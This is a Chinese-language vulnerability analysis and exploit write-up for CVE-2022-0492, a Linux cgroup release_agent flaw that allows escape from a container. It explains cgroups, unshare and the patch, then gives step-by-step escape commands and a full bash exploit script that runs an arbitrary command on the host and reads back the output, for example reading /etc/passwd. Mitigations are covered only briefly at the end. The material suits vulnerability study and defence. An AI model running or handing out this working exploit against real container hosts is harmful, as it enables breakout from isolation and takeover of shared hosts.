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描述

CVE-2022-0492 EXP and Analysis write up

介绍

# CVE-2022-0492 容器逃逸分析

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## 漏洞简介

漏洞编号: CVE-2022-0492

漏洞产品: linux kernel - cgroup

影响版本: ~linux kernel 5.17-rc3

漏洞危害: 当容器没有开启额外安全措施时，获得容器内root 权限即可逃逸到宿主机

## 环境搭建

在存在漏洞版本的内核的linux中使用docker 即可。

```shell
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

本文用docker 做为实验环境。

## 漏洞原理与相关知识

该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了，不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验，导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限，该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。

### 漏洞发生点

分析补丁，patch 了`cgroup_release_agent_write` 函数，增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了：

![image-20220310201629995](img/image-20220310201629995.png)

所以确定该漏洞为失效的访问控制。

### cgroup 简介

cgroup 即Linux Control Group， 是Linux内核的一个功能，用来限制，控制与分离一个进程组群的资源（如CPU、内存、磁盘输入输出等）。

cgroup 有如下子系统：

1. `devices` 进程范围设备权限
2. `cpuset` 分配进程可使用的 CPU数和内存节点
3. `cpu` 控制CPU占有率
4. `cpuacct` 统计CPU使用情况，例如运行时间，throttled时间
5. memory 限制内存的使用上限
6. `freezer` 暂停 Cgroup 中的进程
7. `net_cls` 配合 tc(traffic controller)限制网络带宽
8. `net_prio` 设置进程的网络流量优先级
9. `huge_tlb` 限制 HugeTLB 的使用
10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测

宿主机中的cgroup 都在`/sys/fs/cgroup` 下，可以看到各个cgroup 子系统：

![image-20220311113636040](img/image-20220311113636040.png)

docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点，docker中查看memory cgroup：

![image-20220311113811776](img/image-20220311113811776.png)

主机docker 目录中的对应容器名节点，一模一样：

![image-20220311113853019](img/image-20220311113853019.png)

#### cgroup 使用

cgroup 是通过文件系统的形势来使用的，通过`mount` 将cgroup 挂在到一个目录，cgroup 通过VFS虚拟文件系统和我们交互，cgroup 的接口通过文件的形势呈现，直接使用文件的操作方式对cgroup进行一些参数的设置。

```
mount -t cgroup -o memory cgroup /tmp/testcgroup
```

![image-20220311111853198](img/image-20220311111853198.png)

可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。

#### release_agent

cgroup的每一个subsystem都有参数`notify_on_release`，这个参数值是`Boolean`型，1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1)，当cgroup不再包含任何任务时（即cgroup 中最后一个进程退出的时候，cgroup的`tasks`文件里的PID为空时），系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。

![image-20220311114023546](img/image-20220311114023546.png)

漏洞发生就位于对release_agent 的修改，在原本只要可以操作cgroup 便可对release_agent 进行修改，而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities，那么对于CAP_SYS_ADMIN 的限制就不存在了，漏洞利用的门槛一下子降低了很多。

### unshare 命令

`unshare` 命令功能为取消指定的共享父进程中指定的命名空间，然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是，**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。**

![image-20220311102635204](img/image-20220311102635204.png)

## 漏洞利用

本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同，但利用条件有所区别。

### 利用条件

漏洞利用条件和传统release_agent 逃逸的利用条件区别是：

**传统release_agent**：容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。

**cve-2022-0492**：容器裸奔(更细化一点就是seccomp 不禁用`unshare`，apparmor 不开启cgroup只读，关闭selinux)，获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。

值得一提的是，docker 的apparmor 默认会开启cgroup 只读，docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易，可以在具体场景尝试一下。

**漏洞修复后**：根据补丁的代码：

![image-20220310201629995](img/image-20220310201629995.png)

想要修改release_agent 文件需要具备两个条件：

1. 是根命名空间
2. 拥有CAP_SYS_ADMIN cap权限

所以在漏洞修复之后，通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了，因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。

### 漏洞利用

#### 获得CAP_SYS_ADMIN

如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器)，则带有CAP_SYS_ADMIN权限，则不需要我们额外获取，如如下启动命令：

```sh
#带有sys_admin 启动docker， 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令：

```sh
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 
```

没有CAP_SYS_ADMIN，通过如下`unshare` 命令获得CAP_SYS_ADMIN权限：

```shell
unshare -UrmC --propagation=unchanged bash 
```

新获得的命名空间拥有全部的capbilities权限。

![image-20220311102635204](img/image-20220311102635204.png)



#### mount cgroup与获取容器在宿主机中的路径 

将cgroup mount到一个目录，这一步由于用到了`mount `，所以需要CAP_SYS_ADMIN 权限，经过上一步，我们或自带CAP_SYS_ADMIN，要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外，我们还需要在刚`mount `的cgroup 中创建一个cgroup节点，方便后续我们做清空task 的操作：

```sh
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
```

**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。**

通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息，`upperdir` 就是容器根目录在宿主机上的绝对路径：

![image-20220311104701790](img/image-20220311104701790.png)

通过如下命令可以获取：

```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
```

#### 修改release_agent 触发逃逸

将`notify_on_release`设置为1，开启task 进程清空后执行release_agent功能：

```sh
echo 1 > /tmp/testcgroup/x/notify_no_release
```

创建release_agent 触发时执行的文件：

```sh
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd
```

修改release_agent ，指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径)：

```sh
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
```

接下来向x cgroup 节点中输入一个任务，将自己所属的sh 的pid 写入cgroup.procs。

```sh
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"
```

sh 命令只执行了一个`echo` 指令，一瞬间就会结束，那么x cgroup 节点中就没有任何任务了，触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件，内核触发，在容器外执行我们指定的命令，完成逃逸。逃逸成功：

![image-20220311110810458](img/image-20220311110810458.png)

### exp

根据流程写了个exp：

```shell
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir
```

直接运行，接一个你想逃逸执行的命令作为参数：如：`./exp.sh "cat /etc/passwd"`

逃逸成功：

![image-20220311153511050](img/image-20220311153511050.png)

## 缓解措施

docker 默认状态是开启seccomp 和apparmor 的，漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施，需要手动开启seccomp 和apparmor 或selinux。

## 参考

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

除此之外还问了参与挖这个漏洞的人

文件快照

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备注